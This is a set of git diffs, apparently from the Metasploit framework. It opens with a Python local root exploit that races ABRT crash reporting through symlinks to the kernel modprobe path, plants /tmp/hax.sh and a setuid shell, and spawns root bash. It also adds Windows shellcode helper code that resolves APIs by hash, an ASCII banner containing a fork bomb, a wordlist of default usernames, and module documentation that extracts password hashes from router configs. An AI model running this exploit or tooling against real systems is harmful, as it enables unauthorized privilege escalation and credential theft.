os.execl("/usr/bin/sleep","sleep","100")
time.sleep(0.5)
print "crashing pid %d" % pid
os.kill(pid,11)
print "waiting for dump directory"
def waitpath(p):
while 1:
r = glob.glob(p)
if len(r) > 0:
return r
time.sleep(0.05)
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
print "dump directory: ", dumpdir
os.chdir(dumpdir)
print "waiting for sosreport directory"
sosreport = waitpath("sosreport-*")[0]
print "sosreport: ", sosreport
print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")
print "tmpfiles: ", tmpfiles
print "moving directory"
os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)
os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
print "moving tmpfiles"
for x in tmpfiles:
print "%s -> %s" % (x,x + ".old")
os.rename(x, x + ".old")
open(x, "w+").write("/tmp/hax.sh\n")
os.chmod(x,0666)
os.chdir("/")
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
def trigger():
open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except: pass
time.sleep(0.5)
try:
os.stat("/tmp/sh")
except:
print "could not create suid"
sys.exit(-1)
print "success"
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
sys.exit(-1)
for x in xrange(0,60*10):
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
print "done"
trigger()
time.sleep(1)
sys.stderr.write(".")
print "timed out"
Binary file not shown.
@@ -0,0 +1,224 @@
/*
chacha-merged.c version 20080118
D. J. Bernstein
Public domain.
*/
/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */
#include <stddef.h>
typedef unsigned char u8;
typedef unsigned int u32;
typedef struct
{
u32 input[16]; /* could be compressed */
} chacha_ctx;
#define U8C(v) (v##U)
#define U32C(v) (v##U)
#define U8V(v) ((u8)(v) & U8C(0xFF))
#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF))
#define ROTL32(v, n) \
(U32V((v) << (n)) | ((v) >> (32 - (n))))
#define U8TO32_LITTLE(p) \
(((u32)((p)[0]) ) | \
((u32)((p)[1]) << 8) | \
((u32)((p)[2]) << 16) | \
((u32)((p)[3]) << 24))
#define U32TO8_LITTLE(p, v) \
do { \
(p)[0] = U8V((v) ); \
(p)[1] = U8V((v) >> 8); \
(p)[2] = U8V((v) >> 16); \
(p)[3] = U8V((v) >> 24); \
} while (0)
#define ROTATE(v,c) (ROTL32(v,c))
#define XOR(v,w) ((v) ^ (w))
#define PLUS(v,w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v),1))
#define QUARTERROUND(a,b,c,d) \
a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \
c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \
a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \
c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
static const char sigma[16] = "expand 32-byte k";
static const char tau[16] = "expand 16-byte k";
static void
chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits)
{
const char *constants;
x->input[4] = U8TO32_LITTLE(k + 0);
x->input[5] = U8TO32_LITTLE(k + 4);
x->input[6] = U8TO32_LITTLE(k + 8);
x->input[7] = U8TO32_LITTLE(k + 12);
if (kbits == 256) { /* recommended */
k += 16;
constants = sigma;
} else { /* kbits == 128 */
constants = tau;
}
x->input[8] = U8TO32_LITTLE(k + 0);
x->input[9] = U8TO32_LITTLE(k + 4);
x->input[10] = U8TO32_LITTLE(k + 8);
x->input[11] = U8TO32_LITTLE(k + 12);
x->input[0] = U8TO32_LITTLE(constants + 0);
x->input[1] = U8TO32_LITTLE(constants + 4);
x->input[2] = U8TO32_LITTLE(constants + 8);
x->input[3] = U8TO32_LITTLE(constants + 12);
}
static void
chacha_ivsetup(chacha_ctx *x,const u8 *iv)
{
x->input[12] = 1;
x->input[13] = U8TO32_LITTLE(iv + 0);
x->input[14] = U8TO32_LITTLE(iv + 4);
x->input[15] = U8TO32_LITTLE(iv + 8);
}
static void
chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes)
{
u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
u8 *ctarget = NULL;
u8 tmp[64];
u32 i;
if (!bytes) return;
j0 = x->input[0];
j1 = x->input[1];
j2 = x->input[2];
j3 = x->input[3];
j4 = x->input[4];
j5 = x->input[5];
j6 = x->input[6];
j7 = x->input[7];
j8 = x->input[8];
j9 = x->input[9];
j10 = x->input[10];
j11 = x->input[11];
j12 = x->input[12];
j13 = x->input[13];
j14 = x->input[14];
j15 = x->input[15];
for (;;) {
if (bytes < 64) {
for (i = 0;i < bytes;++i) tmp[i] = m[i];
m = tmp;
ctarget = c;
c = tmp;
}
x0 = j0;
x1 = j1;
x2 = j2;
x3 = j3;
x4 = j4;
x5 = j5;
x6 = j6;
x7 = j7;
x8 = j8;
x9 = j9;
x10 = j10;
x11 = j11;
x12 = j12;
x13 = j13;
x14 = j14;
x15 = j15;
for (i = 20;i > 0;i -= 2) {
QUARTERROUND( x0, x4, x8,x12)
QUARTERROUND( x1, x5, x9,x13)
QUARTERROUND( x2, x6,x10,x14)
QUARTERROUND( x3, x7,x11,x15)
QUARTERROUND( x0, x5,x10,x15)
QUARTERROUND( x1, x6,x11,x12)
QUARTERROUND( x2, x7, x8,x13)
QUARTERROUND( x3, x4, x9,x14)
}
x0 = PLUS(x0,j0);
x1 = PLUS(x1,j1);
x2 = PLUS(x2,j2);
x3 = PLUS(x3,j3);
x4 = PLUS(x4,j4);
x5 = PLUS(x5,j5);
x6 = PLUS(x6,j6);
x7 = PLUS(x7,j7);
x8 = PLUS(x8,j8);
x9 = PLUS(x9,j9);
x10 = PLUS(x10,j10);
x11 = PLUS(x11,j11);
x12 = PLUS(x12,j12);
x13 = PLUS(x13,j13);
x14 = PLUS(x14,j14);
x15 = PLUS(x15,j15);
#ifndef KEYSTREAM_ONLY
x0 = XOR(x0,U8TO32_LITTLE(m + 0));
x1 = XOR(x1,U8TO32_LITTLE(m + 4));
x2 = XOR(x2,U8TO32_LITTLE(m + 8));
x3 = XOR(x3,U8TO32_LITTLE(m + 12));
x4 = XOR(x4,U8TO32_LITTLE(m + 16));
x5 = XOR(x5,U8TO32_LITTLE(m + 20));
x6 = XOR(x6,U8TO32_LITTLE(m + 24));
x7 = XOR(x7,U8TO32_LITTLE(m + 28));
x8 = XOR(x8,U8TO32_LITTLE(m + 32));
x9 = XOR(x9,U8TO32_LITTLE(m + 36));
x10 = XOR(x10,U8TO32_LITTLE(m + 40));
x11 = XOR(x11,U8TO32_LITTLE(m + 44));
x12 = XOR(x12,U8TO32_LITTLE(m + 48));
x13 = XOR(x13,U8TO32_LITTLE(m + 52));
x14 = XOR(x14,U8TO32_LITTLE(m + 56));
x15 = XOR(x15,U8TO32_LITTLE(m + 60));
#endif
j12 = PLUSONE(j12);
if (!j12) {
j13 = PLUSONE(j13);
/* stopping at 2^70 bytes per nonce is user's responsibility */
}
U32TO8_LITTLE(c + 0,x0);
U32TO8_LITTLE(c + 4,x1);
U32TO8_LITTLE(c + 8,x2);
U32TO8_LITTLE(c + 12,x3);
U32TO8_LITTLE(c + 16,x4);
U32TO8_LITTLE(c + 20,x5);
U32TO8_LITTLE(c + 24,x6);
U32TO8_LITTLE(c + 28,x7);
U32TO8_LITTLE(c + 32,x8);
U32TO8_LITTLE(c + 36,x9);
U32TO8_LITTLE(c + 40,x10);
U32TO8_LITTLE(c + 44,x11);
U32TO8_LITTLE(c + 48,x12);
U32TO8_LITTLE(c + 52,x13);
U32TO8_LITTLE(c + 56,x14);
U32TO8_LITTLE(c + 60,x15);
if (bytes <= 64) {
if (bytes < 64) {
for (i = 0;i < bytes;++i) ctarget[i] = c[i];
}
x->input[12] = j12;
x->input[13] = j13;
return;
}
bytes -= 64;
c += 64;
#ifndef KEYSTREAM_ONLY
m += 64;
#endif
}
}
@@ -0,0 +1,136 @@
#ifndef _KERNEL_UTIL
#define _KERNEL_UTIL
typedef BOOL (WINAPI *FuncCreateProcess) (
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI *FuncSetHandleInformation)
(
HANDLE hObject,
DWORD dwMask,
DWORD dwFlags
);
typedef BOOL (WINAPI *FuncReadFile)
(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesToRead,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *FuncWriteFile)
(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *FuncPeekNamedPipe)
(
HANDLE hNamedPipe,
LPVOID lpBuffer,
DWORD nBufferSize,
LPDWORD nBytesRead,
LPDWORD lpTotalBytesAvailable,
LPDWORD lpBytesLeftThisMessage
);
typedef BOOL (WINAPI *FuncCreatePipe)
(
PHANDLE hReadPipe,
PHANDLE hWritePipe,
LPSECURITY_ATTRIBUTES lpPipeAttributes,
DWORD nSize
);
typedef BOOL (WINAPI *FuncCloseHandle)
(
HANDLE hObject
);
typedef HGLOBAL (WINAPI *FuncGlobalAlloc)
(
UINT uFlags,
SIZE_T dwBytes
);
typedef HGLOBAL (WINAPI *FuncGlobalFree)
(
HGLOBAL hMem
);
typedef HANDLE (WINAPI *FuncHeapCreate)
(
DWORD flOptions,
SIZE_T dwInitialize,
SIZE_T dwMaximumSize
);
typedef LPVOID (WINAPI *FuncHeapAlloc)
(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
typedef VOID (WINAPI *FuncSleep)
(
DWORD dwMilliseconds
);
typedef HANDLE (WINAPI *FuncGetCurrentProcess) ();
typedef BOOL (WINAPI *FuncGetExitCodeProcess)
(
HANDLE hProcess,
LPDWORD lpExitCode
);
typedef VOID (WINAPI *FuncExitProcess)
(
UINT uExitCode
);
typedef BOOL (WINAPI *FuncCloseHandle)
(
HANDLE hObject
);
typedef BOOL (WINAPI *FuncVirtualProtect)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef LPVOID (WINAPI *FuncVirtualAlloc)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL (WINAPI *FuncVirtualFree)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
#endif
@@ -0,0 +1,152 @@
/*
* This code is provided under the 3-clause BSD license below.
* ***********************************************************
*
* Copyright (c) 2013, Matthew Graeber
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef _PAYLOAD_UTIL
#define _PAYLOAD_UTIL
#include <windows.h>
#include <winternl.h>
typedef HMODULE (WINAPI *FuncLoadLibraryA) (
LPTSTR lpFileName
);
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB) __readgsqword( 0x60 );
#else
PebAddress = (PPEB) __readfsdword( 0x30 );
#endif
pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}
// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR) BaseDllName.Buffer + i);
dwModuleHash = ROTR32( dwModuleHash, 13 );
if ( *pTempChar >= 0x61 )
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
// All modules have been exhausted and the function was not found.
return NULL;
}
#endif
@@ -0,0 +1,64 @@
#ifndef _WINSOCK_UTIL
#define _WINSOCK_UTIL
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#include <ws2tcpip.h>
typedef int (WINAPI *FuncWSAStartup)
(
WORD wVersionRequired,
LPWSADATA lpWSAData
);
typedef int (WINAPI *FuncWSACleanup) ();
typedef int (WINAPI *FuncGetAddrInfo)
(
PCSTR pNodeName,
PCSTR pServiceName,
const ADDRINFO *pHints,
LPADDRINFO *ppResult
);
typedef void (WINAPI *FuncFreeAddrInfo)
(
LPADDRINFO pAddrInfo
);
typedef SOCKET (WINAPI *FuncWSASocketA) (
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
typedef int (WINAPI *FuncConnect)
(
SOCKET s,
const struct sockaddr *name,
int namelen
);
typedef int (WINAPI *FuncSend)
(
SOCKET s,
const char *buf,
int len,
int flags
);
typedef int (WINAPI *FuncRecv)
(
SOCKET s,
char *buf,
int len,
int flags
);
#endif
+33
View File
@@ -0,0 +1,33 @@
`:oDFo:`
./ymM0dayMmy/.
-+dHJ5aGFyZGVyIQ==+-
`:sm⏣~~Destroy.No.Data~~s:`
-+h2~~Maintain.No.Persistence~~h+-
`:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
-++SecKCoin++e.AMd` `.-://///+hbove.913.ElsMNh+-
-~/.ssh/id_rsa.Des- `htN01UserWroteMe!-
:dopeAW.No<nano>o :is:TЯiKC.sudo-.A:
:we're.all.alike'` The.PFYroy.No.D7:
:PLACEDRINKHERE!: yxp_cmdshell.Ab0:
:msf>exploit -j. :Ns.BOB&ALICEes7:
:---srwxrwx:-.` `MS146.52.No.Per:
:<script>.Ac816/ sENbove3101.404:
:NT_AUTHORITY.Do `T:/shSYSTEM-.N:
:09.14.2011.raid /STFU|wall.No.Pr:
:hevnsntSurb025N. dNVRGOING2GIVUUP:
:#OUTHOUSE- -s: /corykennedyData:
:$nmap -oS SSo.6178306Ence:
:Awsm.da: /shMTl#beats3o.No.:
:Ring0: `dDestRoyREXKC3ta/M:
:23d: sSETEC.ASTRONOMYist:
/- /yo- .ence.N:(){ :|: & };:
`:Shall.We.Play.A.Game?tron/
```-ooy.if1ghtf0r+ehUser5`
..th3.H1V3.U2VjRFNN.jMh+.`
`MjM~~WE.ARE.se~~MMjMs
+~KANSAS.CITY's~-`
J~HAKCERS~./.`
.esc:wq!:`
+++ATH`
`
+22
View File
@@ -0,0 +1,22 @@
%clr ___ ____
,-"" `.%yel %whi< HONK >
,' _ e %yel)`-._%whi / ----
/ ,' `-._%yel<.===-'%whi
/ /
/ ;
_ / ;
(`._ _.-"" ""--..__,' |
<_ `-"" \
<`- :
(__ <__. ;
`-. '-.__. _.' /
\ `-.__,-' _,'
`._ , /__,-'
""._\__,'%yel< <____%whi
%yel| | `----.`.
%whi %yel| | \ `.
%whi %yel; |___ \-``
%whi %yel\ --<
%whi %yel`.`.<
%whi %yel`-'
%whi
+1 -1
View File
@@ -31,7 +31,7 @@ Stack: 90909090990909090990909090
ffffffff..................
%clr
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00%clr
Aiee, Killing Interrupt handler
%redKernel panic: Attempted to kill the idle task!
In swapper task - not syncing%clr
@@ -25,5 +25,5 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24
Example 3:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:/tmp/ip_list.txt
```
@@ -0,0 +1,48 @@
/*
* This code is provided under the 3-clause BSD license below.
* ***********************************************************
*
* Copyright (c) 2013, Matthew Graeber
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
; Author: Matthew Graeber (@mattifestation)
; License: BSD 3-Clause
; Syntax: MASM
; Build Syntax: ml64 /c /Cx AdjustStack.asm
; Output: AdjustStack.obj
; Notes: I really wanted to avoid having this external dependency but I couldnt
; come up with any other way to guarantee 16-byte stack alignment in 64-bit
; shellcode written in C.
extern ExecutePayload
global AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
; to be called as an extern in our C code.
segment .text
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.
AlignRSP:
push rsi ; Preserve RSI since were stomping on it
mov rsi, rsp ; Save the value of RSP so it can be restored
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
sub rsp, 020h ; Allocate homing space for ExecutePayload
call ExecutePayload ; Call the entry point of the payload
mov rsp, rsi ; Restore the original value of RSP
pop rsi ; Restore RSI
ret ; Return to caller
@@ -0,0 +1,9 @@
ENTRY(_ExecutePayload)
SECTIONS
{
.text :
{
*(.text.ExecutePayload)
}
}
@@ -0,0 +1,11 @@
ENTRY(AlignRSP)
SECTIONS
{
.text :
{
*(.text.AlignRSP)
*(.text.ExecutePayload)
*(.text.GetProcAddressWithHash)
}
}
+59 -4
View File
@@ -1,88 +1,131 @@
4Dgifts
EZsetup
OutOfBox
ROOT
abrt
adm
admin
administrator
anon
_apt
arpwatch
auditor
avahi
avahi-autoipd
backup
bbs
beef-xss
bin
bitnami
checkfs
checkfsys
checksys
chronos
chrony
cmwlogin
cockpit-ws
colord
couchdb
cups-pk-helper
daemon
dbadmin
dbus
Debian-exim
Debian-snmp
demo
demos
diag
distccd
dni
dnsmasq
dradis
EZsetup
fal
fax
ftp
games
gdm
geoclue
gnats
gnome-initial-setup
gopher
gropher
guest
haldaemon
halt
hplip
inetsim
informix
install
iodine
irc
jet
karaf
kernoops
king-phisher
landscape
libstoragemgmt
libuuid
lightdm
list
listen
lp
lpadm
lpadmin
lxd
lynx
mail
man
me
messagebus
miredo
mountfs
mountfsys
mountsys
mysql
news
noaccess
nobody
nobody4
ntp
nuucp
nxautomation
nxpgsql
omi
omsagent
operator
oracle
OutOfBox
pi
polkitd
pollinate
popr
postfix
postgres
postmaster
printer
proxy
pulse
redsocks
rfindd
rje
root
ROOT
rooty
rpc
rpcuser
rtkit
rwhod
saned
service
setroubleshoot
setup
sgiweb
shutdown
sigver
speech-dispatcher
sshd
sslh
sssd
stunnel4
sym
symop
sync
@@ -92,22 +135,34 @@ sysadmin
sysbin
syslog
system_admin
systemd-bus-proxy
systemd-coredump
systemd-network
systemd-resolve
systemd-timesync
tcpdump
trouble
tss
udadmin
ultra
umountfs
umountfsys
umountsys
unix
unscd
us_admin
usbmux
user
uucp
uucpadm
uuidd
vagrant
varnish
web
webmaster
whoopsie
www
www-data
xpdb
xpopr
zabbix
vagrant
+5653 -1356
View File
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,50 @@
## General Notes
This module imports a Brocade configuration file into the database.
This is similar to `post/brocade/gather/enum_brocade` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf).
## Verification Steps
1. Have a Brocade configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/brocade/brocade_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
## Scenarios
```
msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf
msf5 > use auxiliary/admin/brocade/brocade_config
msf5 auxiliary(admin/brocade/brocade_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(admin/brocade/brocade_config) > set config /tmp/brocade.conf
config => /tmp/brocade.conf
msf5 auxiliary(admin/brocade/brocade_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] password-display is enabled, hashes will be displayed in config
[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -56,7 +56,7 @@ All of the leaked versions are available in the module
`**` We currently can't distinguish between normal and NPE versions from the SNMP strings. We've commented out the NPE offsets, as NPE is very rare (it is for exporting to places where encryption is crappy), but in the future, we'd like to incorporate these versions. Perhaps as a bool option?
## Verification
## Verification Steps
- Start `msfconsole`
- `use auxiliary/admin/cisco/cisco_asa_extrabacon`
@@ -0,0 +1,51 @@
## General Notes
This module imports a Cisco configuration file into the database.
This is similar to `post/cisco/gather/enum_cisco` only access isn't required,
and assumes you already have the file.
Example files for import can be found on git, like [this](https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt)
or from [Cisco](https://www.cisco.com/en/US/docs/routers/access/800/850/software/configuration/guide/sampconf.html).
## Verification Steps
1. Have a Cisco configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/cisco/cisco_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
**RHOST**
Needed for setting services and items to. This is relatively arbitrary.
**CONFIG**
File path to the configuration file.
## Scenarios
```
root@metasploit-dev:~/metasploit-framework# wget https://raw.githubusercontent.com/GaetanLongree/MASI-ProjetAvanceReseau/3cf1d9a93828d5f44ee1bc4e4c01411e416892c5/Los%20Angeles/LA_EDGE_D.txt -O /tmp/LA_EDGE_D.txt -o /dev/null
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/cisco/cisco_config
msf5 auxiliary(admin/cisco/cisco_config) > set config /tmp/LA_EDGE_D.txt
config => /tmp/LA_EDGE_D.txt
msf5 auxiliary(admin/cisco/cisco_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/cisco/cisco_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] 127.0.0.1:22 MD5 Encrypted Enable Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
[+] 127.0.0.1:22 Username 'Waldo' with MD5 Encrypted Password: $1$mERr$DWwx4W/5HXD2oail62IeB1
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -1,4 +1,4 @@
## Intro
## Vulnerable Application
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
